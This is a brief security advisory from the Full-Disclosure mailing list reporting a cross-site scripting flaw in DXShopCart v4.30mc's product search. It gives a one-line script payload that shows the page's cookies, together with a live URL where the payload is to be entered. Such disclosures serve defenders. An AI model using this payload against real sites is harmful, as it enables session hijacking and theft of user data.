DXShopCart v4.30mc product search.php xss

["bug squash" <bugsquashr () gmail com>]

###################################
DXShopCart V4.30mc search.php XSS
###################################

Author: d00m3d! Chik3n hUnT3r 666
email: bugsquashr () gmail com

Example:
<script>alert(document.cookie)</script>

in the product search on http://www.scripts4profit.net/ShopCartDX/index.php

click submit

###################################

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/